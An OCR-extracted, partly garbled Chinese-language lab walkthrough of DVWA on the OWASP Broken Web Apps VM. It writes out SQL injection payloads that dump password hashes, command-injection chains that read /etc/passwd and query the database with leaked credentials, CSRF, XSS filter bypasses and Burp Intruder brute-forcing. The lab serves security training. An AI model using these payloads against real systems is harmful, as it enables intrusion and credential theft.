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1. F 87 B
T & 2B # OWASP_Broken Web Apps VM_1.2.7z RIE304#4% 2 &
g, 2.{F A VM Player BIRX

RUED & #et%, # ABRZS root/owaspbwa,
36 & #E 8 ip: 8 Alifconfig

)  OWASP Broken Web Apps VM v1.2 - VMware Workstation - u] ®

File Edit View VM Tabs Help - & | D o MO e [Dj lz‘

{1 Home [» OWASP Broken Web Apps V...

rootRovaspbuwa:™# ifconfig

— etho Link encap:Ethernet HWaddr 00:0c:29:29:b2:99

= [ My Computer inet addr:192.168.119.128 Bcast:192.168.119.255 Mask:255.255.255.0
[} OWASP Broken inetb addr: feB0::20c:29ff :fe29:b299-/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

R¥ packets:2035 errors:0 dropped:0 overruns:Q frame:0

T% packets:064b errors:Q dropped:@ overruns:0 carrier:0

collisions:0 txgueuelen:1000

RX bytes:234067 (234.0 KB) TX bytes:285719 (285.7 KB)

Interrupt:18 Base address:0x1400

Link encap:Local Loopback

inet addr:127.06.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 HMetric:1

RX packets:4853 errors:0 dropped:0 overruns:0 frame:0
TX packets:4853 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:@

RX bytes:?74289 (?74.2 KB) TX bytes:?774289 (?74.2 KB)

rootPowaspbua: ™ _
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1. £ FHost#g, & AP BAREIE 25

c @EED 192168.119.128 & & O ¢
D sE O %@ [0 HFR s KuolongVih Prof.. @ EAMAZEAD. @ a taontuted.. @ asset tut.ed » o
e owaspbwa
(OWASP Broken Web Applications Project
Py

Version 1.2

| the VM for the Open Web Application Security, Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web applications,
are listed below. More information about this project can be found in the project User Guide and Home Page.

biliti

tails about the known vul in these i see /s [tickets/? t=999&sort=_severity+asc.

) 11! This VM has many serious security issues. We strongly recommend that you run it only on
=~ the "host only" or "NAT" network in the virtual machine settings !1!

TRAINING APPLICATIONS

&) OWASP WebGoat &) OWASP WebGoat NET
©OWASP ESAPI Java SwingSet i ©owAasp Mutillidae IT
©0owASP RailsGoat ©OWASP Bricks

€ OWASP Security Shepherd @ Ghost

‘S;mn Vulnerable Web Applicatio ¢&——
2. A DVWA
# Aadmin/admin, # A Damm Vulnerable Web App.

<« c N

£ 192.168.119.128/dvwa/lo.. G By W

B 38 | D= DOxm [ FE s KuolongYih Prof.
)
DVWA)

Username

admin

Password

Login

3.5% % DVWA Security: low
Home | DVWA Security *

Instructions |

Setup | Script Security

Security Level is currently low.
Brute Force

You can set the security level to low, medium o
Command Execution

CSRF

|
e
Insecure CAPTCHA | w
|
|
|
|
|

The security level changes the vulnerability lew

File Inclusion

SAL Injection PHPIDS
SAL Injection (Blind

. ( ) v.0.6 (PHP-Intrusion Detection Systen
Upload

You can enable PHPIDS across this site for the

VOO emflmmbmad

FEBDVWA Security:BIEETAREEMFZE, HMHE, P, SI=ZBFHES



=. SQL Injection
1.;#4#E SQL Injection
£ OWASP TOP 10MI K 245 E, #E1E SQL Injection.

Vulnerability: SQL Injection

Instructions ‘ User ID:

Setup /
| \_/_ | || Submit |

Brute Force ‘ ::!
Command Execution More info
CSRF /

Insecure CAPTCHA /

}
File nclusion /7
E AR
|

Home ‘

< oV

SQL Injection (Blind)

2. View Source

SQL Injection (Blind)

Upload
XSS reflected

DVWA Security
PHP Info
About

|
|
|
|
XSS stored |
|
|
|
|

Logout

sername: admin View Source | View Help ‘
acuritv | avel- low

BEEE#HEEZH PHP source code,
THRIREEANERAK, HRI0LLsEE,




SQL Injection Source

<?php

if(isset($ GET['Submit'])){

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);
$i=0;
while ($1i < $num) {

$first = mysql _result($result,$i,"first name");
$last = mysql result{$result,$i,"last name");

echo '<pre>';
echo "ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo "</pre>';

$i++;

}

>

Ly
Compare

2L #E Compare, BEF L EARZEEROEXEX, stEEAld], codeEARRIEERR
pi::]

2LE More Info, AILIEE R ZHHEE .



Help - SQL Injection

A SQL injection attack consists of insertion or "injection” of a SQL query via the input
data from the client to the application. A successful SQL injection exploit can read
sensitive data from the database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS), recover the
content of a given file present on the DBMS file system and in some cases issue
commands to the operating system. SQL injection attacks are a type of injection attack,
in which 5QL commands are injected into data-plane input in order to effect the
execution of predefined SQL commands.

The 'id" variable within this PHP script is vulnerable to SQL injection.

There are 5 users in the database, with id's from 1 to 5. Your mission... to steal
passwordsl

If you have received a Magicquotes error, turn them off in php.ini.

BhiE Help, EF LLEEMEHERA,
AREMEHR ARER.

SQL Injection ( SQL:FA), RIEEWNEE S B IAZTEMNSQLEG S, HIESQLEHAE M
A, ZRBPITEESQLEEAMB M, SQLIEARAMEEE KR, TEHBEEEHEH
BE, SQLFARHAERE RMWebiERZ—,

EERAE, ALEEAM0S B EEREMBRREEEETSQLEN.
SEHAKBEEH

WAEE Id, HIERMERSE d RigHEABE,
WA 1~6 SR RERAENAT

T . Vulnerability: SQL Injection

Instructions ‘

User ID:

Setup ‘

[2 || Submit

Brute Force

Gordo
Brown

First name:
Surname:

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion More info




WA 1'or'1'="1, EEAREHER, SERLUT
$query = "SELECT first_name, last_ name FROM users WHERE user_id ='1' or '1' ="'1";"

WA LT SQL Injectionfs &, RiftEHIRIEZEEEN, HUTEHRER,
%' and 1=0 union select null, concat(user,"',password) from users #

Vulnerability: SQL Injection

User ID:

| || Submit |

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:
Surname: admin:21232f297a57a5a743894a@eda8811c3

—_—

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:
Surname: gordonb:e99al8c428cb38d5f26@853678922e03

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:
Surname: 1337:8d3533d75ae2c3966d7e@d4fccb9216b

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:

Surname: pablo:8d107de9f5bbed48cade3de5c71e9e9b7
S —

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:
Surname: smithy:5f4dcc3b5aa765d61d8327deb882c199

—

ID: %' and 1=0 union select null, concat(user,':',password) from users #
First name:
Surname: user:eellcbbl9052e40b07aac@ca@blc23ee

—_—

4 %1 A\ H fth &

Eidorder by AR, ETERENEKHE, EAZEAXNEITERS,
SLHE4T order by 1, AL EEIth 2R IHEEA,

Vulnerability: SQL Injection

User ID:

| || Submit |

ID: 1 ‘or 1=1 order by 1 #
First name: admin
Surname: admin

ID: 1 ‘or 1=1 order by 1 #
First name: Bob
Surname: Smith

ID: 1 'or 1=1 order by 1 #
First name: Gordon
Surname: Brown

ID: 1 'or 1=1 order by 1 #
First name: Hack
Surname: Me

ID: 1 'or 1=1 erder by 1 #
First name: Pablo
Surname: Picasso

ID: 1 ‘or 1=1 order by 1 #
First name: user
Surname: user




P4, Command Injection
1.25:2# Command Execution

s . Vulnerability: Command Execution
Instructions | Plng for EREE
Setup |

Enter an IP address below:

\/| || submit |

Brute Force

CSRF More info

|
4

2.Command injection
MRIAREMENREZ TR EMERAERPHALTRITRERIEEMG R,
BITTEENRET RS ZERREFMGE—EARMNZR, NEETHERERRE
A&,
EEMSHITHEREEREXF/E Web IRFFERMERE
RKLEHER AR EAKERRE, AlEEiRZ EMEMA SRS, HEFWMIRMELE
#l, @E&RE, cookie, HTTP {Z5E%,
MREARREESEFEAERMRESSNITERAEXUSRBREN, a0, A
FEAE. REXH. BHRANXEHIERE,
Unix/Linux: 9.9.9.9; cat /etc/passwd

3.IME MlEZER

AR ping £ IP £44 8.8.8.8, R IEEEHE R

T . Vulnerability: Command Execution
Instructions ‘ Plng for EREE
Setup ‘

Enter an IP address below:

Brute Force I 8_8.8_3‘ || submit |
ING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
CSRF 64 bytes from 8.8.8.8: icmp_seq=1 tt1=128 time=7.54 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=5.15 ms
8.8.8: icmp_seg=3 ttl=128 time=5.61 ms

File Inclusion -- 8.8.8.8 ping statistics ---

packets transmitted, 3 received, 8% packet loss, time 20863ms
ritt min/avg/max/mdev = 5.156/6.104/7.544/1.838 ms

SQL Injection

&Nl Iniartian (Rlind)

|
|
|
Insecure CAPTCHA ‘ 64 bytes from 8.
|
|
|

g AJE ping IP E:EH, HI50 cat /etc/passwd, ;R B EMIEHIH,



Vulnerability: Command Execution

Home ‘
Instructi .
S | Ping for FREE
Setup ‘
Enter an IP address below:
Brute Force ‘ [ cat /etc/passwd H submit ‘

EAKEE ¥ 8.8.8.8; cat /etc/passwd, #i ZFiEXR BURMEER,

Vulnerability: Command Execution

Home ‘
Instructions .
| Ping for FREE
Setup ‘
Enter an IP address below:
Brute Force | || submit |
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
CSRF 64 bytes from 8.8.8.8: icmp_seq=1 tt1=128 time=4.25 ms
64 bytes from 8.8.8.8: icmp_seq=2 tt1=128 time=4.65 ms
Insecure CAPTCHA 64 bytes from 8.8.8.8: icmp_seg=3 ttl=128 time=5.58 ms

--- B.B.8.8 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2803ms
rtt min/avg/max/mdev = 4.259/4_867/5.506/8.526 ms
root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin: /bin/sh

SQL Injection
SQL Injection (Blind)

|
|
|
|
File Inclusion ‘
|
|
|
|
|

Upload bin:x:2:2:bin:/bin:/bin/sh

XSS reflected sys:x:3:3:sys:/fdev:/bin/sh
sync:x:4:65534:sync:/bin: /bin/sync

XSS stored games:x:5:60: games: fusr/games: /bin/sh

& & source code, {#H web servert[E#11T shell_exec() 154,
REBEIEEES.



Command Execution Source

< ?php
if( isset( $ POST[ '"submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell _exec( 'ping ' . $target );
echo "<pre:>'.%cmd.'</pre>";

} else {

$cmd = shell exec( 'ping -c 3 ' . $target );
echo "<pre:>'.%cmd.'</pre>";

¥

?y

#14T Copy the /etc/passwd file to /tmp
4 ME, MRENEEN
8.8.8.8; cat Jlowaspbwa/dvwa-git/config/config.inc.php | tee /tmp/q1

lowaspbwa/dvwa-git/config/config.inc.php Z dvwa BIPHP MYSQL & # X EfEZE
tee E R (BRI —EFER) TEIRERA, KEXGHBEREHE, FRER

B ERER,

LEE, — R EREAT LU ERRMERTEHERRE BT
more /tmp/q1




Home » OWASP Broken Web Apps V...
<Tphp

t If you are having problems connecting to the My3S(L database and all of the va
iables below are correct

i try changing the 'db_server’ variable from localhost to 127.0.0.1. Fixes a prg
blem due to sockets.

t Thanks to digininja for the fix.

t Database management system to use

GDBMS = "MySQL" :
HSDBMS = "PGSQL' :

it Database wvariables
t WARNING: The database specified under db_database WILL BE ENTIRELY DELETED du

ing setup.
it Please use a database dedicated to DUWA.

_DUlA = array():

_DUYAL 'db_server’ 1 = 'localhost's
_DUYAL 'db_database’ 1 = 'dvwa’;

- DUYAL 'db user' 1 = "dywa’:

_DUWAL 'db_password” 1 = 'dvwa’:

% Only needed for PGSQL
5. DUWAL 'db_port’ 1 = '5432';

t ReCAPTCHA Scttings
t Get your keys at https:/ uwuw.google.con recaptchasadmin-create

8.8.8.8; echo "show databases;" | mysql -udvwa -pdvwa
EAMYSQL EME, BETEMENER

Vulnerability: Command Execution

Ping for FREE

Enter an |IP address below:

B.8.8.8; echo "show databases;" | mys(|| submit |

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=4.28 ms
64 bytes from 8.8.8.8: icmp seq=2 ttl=128 time=4.99 ms
64 bytes from 8.8.8.8: icmp seq=3 ttl=128 time=18.3 ms

--- B8.8B.8.8 ping statistics ---

3 packets transmitted, 3 received, 6% packet loss, time 2803ms
rtt min/avg/max/mdev = 4.285/6.539/16.348/2.703 ms

Database
information_schem
dvwa




8.8.8.8; echo "use dvwa; show tables;" | mysql -udvwa -pdvwa

fEAdvwaZ #E, BER tablesE ¥t
Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

| 6.8.6.8; echo "use dvwa; show tahles;'| submit ‘

PING 8.8.8.8 (
64 bytes from
64 bytes from
64 bytes from

8.8.8.8) 56(84) bytes of data.

8.8.8.8: icmp_seq=1 ttl1=128 time=6.22 ms
8.8.8.8: icmp_seq=2 ttl1=128 time=5.55 ms
8.8.8.8: icmp_seq=3 ttl=128 time=5.19 ms

--- B8.8.8.8 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2883ms
rtt min/avg/max/mdev = 5.198/5.6608/6.228/0.427 ms
Tables in dvwa

guestbook

8.8.8.8; echo "use dvwa; desc users;" | mysql -udvwa -pdvwa

#/ dvwa EHE, KIERRE, BR users table L& #,
Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

| || submit ‘

PING 8.8.8.8 (
64 bytes from
64 bytes from
64 bytes from

8.8.8.8) 56(84) bytes of data.

8.8.8.8: icmp_seq=1 ttl=128 time=4.49 ms
8.8.8.8: icmp_seq=2 ttl=128 time=5.27 ms
8.8.8.8: icmp_seqg=3 ttl=128 time=4.92 ms

--- 8.8.8.8 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2883ms
rtt min/favg/max/mdev = 4.498/4.901/5.278/8.324 ms

Field Type Null Key Default Extra
user_id int(6) NO PRI 5]

first _name varchar(15) YES NULL
last_name varchar(15) YES NULL
user varchar(15) YES MULL
password varchar(32) YES NULL
avatar wvarchar(70) YES MULL



8.8.8.8; echo "select * from dvwa.users;" | mysql -udvwa -pdvwa
ERAEHES, & users tables HERAERZEHR

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

|B.8_8_8; echo "select * from duwa.users” submit |

PING 8.8.8.8 (8.8.8.8)
64 bytes from 8.8.8.8:
64 bytes from 8.8.8.8:
64 bytes from 8.8.8.8:
--- 8.8.8.8 ping statis

3 packets transmitted,
rtt min/aveg/max/mdev =

user_id first name

1 admin admin

2 Gordon Brown

3 Hack Me

4 Pablo Picasso
5 Bob sSmith

6 user user

56(84) bytes of data.

icmp_seq=
icmp_seqg=
icmp_seq=

tics ---

1 tt1=128 time=4.47 ms
2 tt1=128 time=6.24 ms
3 tt1=128 time=5.95 ms

3 received, 0% packet loss, time 28@3ms
4.479/5.559/6.249/0.778 ms

last_name user password

admin 212321297a57a5a743894a024a801Fc3
gordonb e99a18c428cb38d5T260853678922e03
1337 8d3533d75ae2c3966d7eBd4TcchI216b
pablo 8d167de9t5bbedBcade3de5c71e9%29b7
smithy 5f4dcc3b5aa765d61d8327deb882c199
user eellcbb19852e40bB7aacfcalbBc23ee

avatar

http
http
http
http
http
http

1//127.
1 //127.
/7127
1 /7127,
1/ /127,
1//127.

o0 0008
o0 000
)

dwi
dwi
dwi
dwi
dwi
dwi



&, Cross-Site Request Forgery
(BT GRS

CSRF(Cross-site request forgery(FsifiE K #AE), REFIAZEERRERANFHRBEA(
cookie. BiE%), FRENESEERNEFMEENEREABHER, EXEATHFEHN
BRTUREEGHRR (BRREEFREEN) FRSFEEFE KR, STRIEERE (DR, X
HHES) . CSRFEEXSSEHR AR E FITER, CSRFifijZH & HcookieM 2 EEF A,

#i ANew passwordELConfirm new password, F&= & A Z5E12345,

192.168.119.128/dvwa/vulnerabilities/csri/
Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:

Confirm new password:

[ |

| Change |

Change your admin password:

New password:

Confirm new password:

| Change |

Password Changed

i, BREEEERMY. FARRT RSN
| 192.168.119.128/dvwa/vulnerabilities/csrf/?password_new=123458password_conf=123458Change=Change#

s EMI A E H A, BERER, e RIBENE MR 123456, AIREXEAELAZA
EEMLE, FRERIMRE.



<?php

if (isset($_GET['Change'])) {

$pass_new = $ _GET['password new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){
$pass_new = mysql real escape _string($pass_new);

fpass_new = md5($pass_new); ﬁ:&f
$insert="UPDATE “users  SET passWord = '$pass_new' WHERE user = 'admin';";

$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();

¥
else{

echo "<pre» Passwords did not match. </pre>";
¥

}

?>
%& Source Code, #iApassword_newfipassword_conf, #fTHIET $pass_new ==§
pass_conf @& MHE, ET R Spass newt AR EH ERH, BEFZHETRABE,

BREEEESEZEASEDVWARLL, HMItEEREES, T EZEEAUE RN ERE
HEE®E,

RERHE MM, FTLEREBMMIULTABEEYE, B L, BREEBASEAEREE
BERE, SUEMERLLSE, FREREE,

2.Compare Medium code
‘eregi’ ENEU(FES K/NE 0 BIEE X LA



Medium CSRF Source
<?php
if (isset($ GET['Change'])) {

/[ Checks the http referer header
if ( eregi ( "127.9.08.1", $_SERVER['HTTP_REFERER'] ) ){

'/ Turn requests into variables
$pass _new = $ GET['password new'];

$pass_conf = $ GET['password conf'];

if ($pass_new == $pass_conf){
$pass_new = mysql real escape string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE “users” SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql query(%insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre:";
mysql close();

¥
else{
echo "<pre> Passwords did not match. </pre>";
1
ks
¥

4 4
I SR TR st 21 B4R AR 2R ik B B — 4K
ZEERE

http://192.168..../csrf/?password_new=123&password_conf=123&Change=Change
#, AL IR IR D Referer, ATLERE EIAR B, BHEEXELCSRF,

3. Compare High Code

4548 High code #1 7 £ FE?

<?php
if (isset($_GET['Change'])) {

N // Turn requests into wvariables
$pass_curr = $ GET[ 'password current'];
$pass_new = $ GET['password new'];
$pass_conf = $ GET['password_conf'];

// Sanitise current password input

$pass_curr = stripslashes( $pass_curr );

$pass_curr = mysql real escape string( $pass _curr );
pass_curr = md5( $pass_curr );

// Check that the current password is correct
$qry = "SELECT password FROM “users” WHERE user="admin' ANC
$result = mysql query($gry) or die('<pre>' . mysql_error()



7%. XSS (Reflected Cross-Site Scripting)
1.IEE#@A
WA 11111

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

11111 | Submit |

Hello 11111

2. WEHA

i A <script>alert('123")</script>

192.168.119.128 F/~
123

3IRAREFR

RERXREFH medium

Home | DVWA Security *
Instructions |
Setup | Script Security

Security Level is currently medium.
Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.

CSRF

Insecure CAPTCHA | metlium v || Submit
File Inclusion

SQL Injection PHPIDS

SQL Injection (Blind)

v.0.6 (PHP-Intrusion Detection System) is a security layer for PH

Upload

You can enable PHPIDS across this site for the duration of your session.
XSS reflected
XSS stored PHPIDS is currently disabled. [ ]

[ 1-1 ]

#i A <script>alert('123')</script>




Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

[8A <script-alert(123')</sc] | Submit |

Hello EA alert('123')

HEEEXBEIE

<?php

if(larray_key exists ("name", % GET) || $_GET['name'] == NULL ||
% GET['name'] == ""}{

$isempty = true;
T else {
echo "<pre>";

echo 'Hello ' . str_replace('<script>', '', $ GET['name']);
echo '¢/prex'; T ———

¥
>
EREABRE—RX B2FHBE RESEAR,
A
<Script>alert('1")</script>
13

<<script>script>alert('1')</script>

192.168.119.128 B
1

REREFHR High
wA
<Script>alert('1')</script>

What's your name?

<Script=alert('1)</script| || Submit |

Hello <Scriptralert('1')</script>

FRZhBR L EE,



&E source code

< ?php

if(larray key exists ("name", $ GET) || $ _GET['name'] == NULL ||
$ GET['name'] == ""}{

$isempty = true;
T else {

echo "<pre>';
echo "Hello ' . htmlspecialchars($ GET['name']);
echo "</pre>"';

h
>

fi_E PHP htmispecialchars() B% 457k AR B AL,
& => &amp;

" => &quot;

P s

< => §lt;

> => &gt;

<script> => &lt;script&gt;



-+. Brute Force

1.4/ SQL Injection

A
admin'or'1'="1

Vulnerability: Brute Force

Login
Username:

admin 'or' 1'="1|
Password:

| Login

Welcome to the password protected area admin 'or" 1'="1

2.{# /A Burp Suite £ HIEE

T & & 2% Burp Suite
https://portswigger.net/burp/releases/professional-community-2025-3-3
BRX Burp Suit, Next

Burp Suite Community Edition v2025.3.3 u] X

""" Welcome to Burp Suite Community Edition. Use the options below to create or open a project. Burp Suite

(® Temporary project in memory

Start Burp


https://portswigger.net/burp/releases/professional-community-2025-3-3

g4 Burp Suite Community Edition v2025.3.3 — O *
H Burp ity

Selact the configuration that you would like to load for this project. Bu rp Su ite

(®) Use Burp defaults

Lo

Use settings saved with project

Load from configuration file File

File: | | Choose file_..

|| Default to the above in future

| Cancel \ | Back | [Iai: Burp
. . Y| ES
Proxy: Intercept: Open browser, B{E)i2I% 25

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.3.3 - Temporg
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organi:
Intercept \ f HTTP history ‘WebSockets history Match and replace {g} Proxy settings
| ® Intercept off | Forward Drop ~

Time Type  Direction Method URL

S5

Intercept is off

If you turn Intercept on, messages between Burp's browser and yo!
This enables you to analyze and modify these messages, Hefor

‘ Learn more | Open browser




81t & ADVWMj#ELL http://192.168.61.129/
£ DVWA

@& owsspbwa OWASP Broken Vi X + A

'a ¢ e 192.168.61.129 \/

Py

This 15 the VMM for the Open Web Application Security Project (OWASP) Broken Wet
listed below. More information about this project can be found in the project User Gu

For details about the known vulnerabilities in these applications, see hitps://sourcefor;

@ 11l This VM has many serious security iss
= the "host only” or "NAT" ne

TRAINING APPLICATIOHNS

€ OWASP WebGoat

@OEEASP ESAPI Java SwingSet Interactive

€ OWASP RailsGoat

@DEE%SP Security Shepherd

€9 Magical Code Injection Rainbow

@Dﬂﬂﬂl Vulnerable Web Application \/



A DVWA: & AIRZ admin/admin
¥ A Brute Force &%

Vulnerability: Brute Force

Home |
Instructions | L o gl“
Setup |
|U SEMmame: |
\4 Password:

Command Execution

CSRF

e e e S ARYT /IR

#i A admin/12345

| |
Login

Vulnerability: Brute Force

Home |

Instructions |

Login

Setup |

Username:

'\/| admin |

| _ Password:

Command Execution

|
|
CSRF | —
|
|

I |

Insecure CAPTCHA

H‘
~——> Username and/or password incorrect.

& & Burp Suit B Proxy: HTTP history

Burp Project Intruder Repeater View Help Burp Suite Community Edition w2025.3.3 - Temporary
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organize
Intercept HTTP histop WebSockets history Match and replace {§} Proxy settings

\ Filter settings: Hiding CSS, image and general binary content

# Host Method URL Params Edited Statuscode Length MIME type Extensi
1 http://192.168.61.129 GET Jdvwa/ 302 680 HTML

2 http://192.168.61.129 GET Jdvwa/login.php 200 1775 HTML php

3 http://192.168.61.129 POST Jdvwa/login.php v 302 596 HTML php

4 http://192.168.61.129 GET Jdvwa/index php 200 5255 HTML php

5 http://192.168.61.129 GET Jdvwa/vulnerabilities/brute/ 200 5210 HTML

6 http://192.168.61.129 GET Jdvwa/vulnerabilities/brute/ 200 5209 HTML

7 http://192.168.61.129 GET dww; iliti Tuserna. 200 5260 HTML




EhEZFE7{E, T A I Request/Response &

Decoder

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Intercept HTTP history WebSockets history Match and replace {(:)} Proxy settings

" Filter settings: Hiding C55, image and general binary content

Comparer L

# Host Method URL Params Edited Statuscode Length

1 http://192.168.61.129 GET Jdvwa/ 302 680

2 http://192.168.61.129 GET Jdvwa/login.php 200 1775

3 http://192.168.61.129 POST  /dvwa/loginphp s 302 596

4 http://192.168.61.129 GET Jdvwa/index.php 200 5255

5 http://192.168.61.129 GET Jdvwa/vulnerabilities/brute/ 200 5210

6 http://192.168.61.129 GET Jdvwa/vulnerabilities/brute/ / 200 5209

7 http//192.168.61.129 GET fdvwa/vulnerabilities/brute/?userna.. v/ \V/ 200 5260

eques’ esponse
etty  Raw  Hex ® \n = tty  Raw  Hex  Re

Pri

=z Accept-Encoding: gzip,

10 Connection:

GET /dvwa/vulnerabilities/brute/?username=admin&épasswvord=12345&Login=
Login HTTP/L.1

Host: 19Z.168.61.129

Accept-Languages: zh-TW, zh;qg=0.9
Upgrade-Insecure-Requests: L

User-Agent: Mozilla/5.0 (Windows NT 10.0:
AppleWebKit/537.36 (KHTML,
Aoccept:

text/html, application/xhtml+xml, application/®ml;q=0.9, image/avif, imag
e/webp, image/apng, */ *;q=0.8, application/signed-exchange;v=h3;q=0.7
Referer: http://192.168.61.128/dvva/vulnerabilities/brute/

deflate, br

Cookie: security=low; PHPSESSID=4céikndfhatéieclcvii5ikvi4;
acopendivids=swingset, jotto, phpkhhl, redmine; acgroupsvithpersist=nada
keep-alive

Viné4; x&4)
like Gecko) Chrome/135.0.0.0 Safari/537.36

EhEET{E, AR, EIZE send to Intruder

Burp Project Intruder Repeater “View Help
Dashboard Target Proxy Intruder Repeater
Intercept HTTP history WebSockets history

Pre

> Date:

5 Server:

HTTF/Ll.l 200 QK

Sun, Z7 Apr Z0Z
Apache/Z2.2.14
with Suhosin-Fatch pr
mod_ss1/2.2.14 OpensSs
mod_perl/Z.0.4 Perl/w
¥-Powered-By: PHF/5.3

Expires: Tus, 23 Jun
Cache-Control: no-cac
Pragma: no-cache

z WVary: Accept-Encoding

12 Content-Type:

" Filter settings: Hiding CS5, image and general binary content

Content-Length: 4708
Keep-Alive: timeout=1
Connection: Keep-Aliwv
text/ht

Collaborator

Match and replace

Sequer

{O} Prox,

# Host Method WURL Paran

1 http://192.168.61.129 GET Jdvwa/

2 http://192.168.61.129 GET Jdvwa/login.php

3 http//192.168.61.129 POST JSdvwa/login.php v

4 http://192.168.61.129 GET Jdvwa/index.php

5 http//192.168.61.129 GET JSdvwa/vulnerabilities/brute/

b http://192.168.647129 GET Jdvwa/vulnerabilities/brute/

7 http.//192168.61.129 (=FT frhamahmilnarahilitiac fhr ta/Micarna  of
http://192.168.61.129/dvwa/v..in&password =1
Add to scope
Scan

Send to Intruder

Send to Repeater



256 Intruder, ZEIRAIMI requestH IRTE L,
LI K I8 username=admin & password = 12345

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
S——
1 % 2%+

OG>

yloads

( Target | http//192.168.61 B Update Host header to match target

o

Positio Add§ Clear § Auto §

\L-

GET /dvwa/vulnerabilities/brute/?username=adminépassword=12345&Login=Login HTTP/1.1

Host: 192.1eB8.61.129

Accept-Language: zh-TW, zh;q=0.9

Upgrade-Insecure-Regquests 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&€4) AppleWebKit/537.36 (EHTHML, like Gecko) Chrome/135.0.0.0
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;¢=0.9, image/avif, image/webp, image/apng, */ *;gq=0.8, application/signed-exchan
ge;v=b3;q=0.7

Referer: http://192.168.6l.129/dvwa/vulnerabilities/brute/

Accept-Encoding: gzip, deflate, br

Cookie: security=low; PHPSESS5ID=4céElkndfhatél3solcviSsikv74; acopendivids=swvingset,jotto,phphbl, redmines;
acgroupswithpersist=nada

Connection: keep-alive

BH5& clear [FRIER
EhE R 12345, EBEEBBRNBEH,

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extension

| 2 [N

® [snier s -

Target | httpy//192.168.61.129 Update Host header to match target

Positions Adds Clear § Auto §

GET /dvwa/vulnerabilities/brute/?username=adminépassvokd=12345elggin=Login HTTP/1.1
Host: 19Z2.188.81.129

Acecept-Language: zh-TW, zh;qg=0.9

Upgrade-Insecure-Requests: 1

T Atk o Mo 11 oS E 0 (T sre WIT U0 (e e e £ Ranan 1o Teda Tl SERT 20 LTI D T S et W T =S T W a1

EHE Add,
F 15123452 & — B8R, A2 IR Payloads #I18

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 = 2 x  +

(@) | sniperattack . Payloads

Payload position: | All payload

Target | http://192.168.61.129 Update Host header to match target

Payload type: Simple list

Payload count: 0

Paositions Add § Clear§ Auto §

6

Requestcount: 0

GET /dvwa/vulnerabilities/brute/?username=adminspassword=§I2985g Login=Login HTTP/1.1

Host: 192,168.61.129 Payload configuration
Accept-Language: zh-TW, zh:qg=0.%

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/S.0 (Vindows NT 10.0; VinE4; xE4) AppleWebKit/S37.36 (KETML, like Gecko) Chrome/135.0.0.0 This payload type lets you conf
Safari/537.36 payloads

Accept:

text/html,application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */ *; q=0.8, application/signed-sxchan Paste

ge:v=h3;q=0.7

Referer: http://192.168.61.129/dvva/vulnerabilities/bhruce/ Load...
Accept-Encoding: gzip, deflats, br

Cookie: security=low; PHPSESSID=4c&3kndfhaté3eolcvissikv74; acopendivids—swingset,Jotto, phphbbZ,redmine ; Remove
acgroupswithpersist=nada

Connection: keep-alive Clear

Deduplicate

Add




180 A S5 BI85
2.25% Add

3. HIREHII*
2h#E Start attack

Dashboard Target Repeater Collaborator Sequencer

1 x 2« 4

Proxy Intruder

® Sniper attack

Target | http://192.168.61.129

Positions Add§ Clear§ Auto §

Extensions Learn

Organizer

Decoder Comparer Logger

Payloads

Payload position: = All paylo

& Update Host header to match target
& ue g Payload type:

Simple Ii
Payload count: 5

Reguestcount: 5

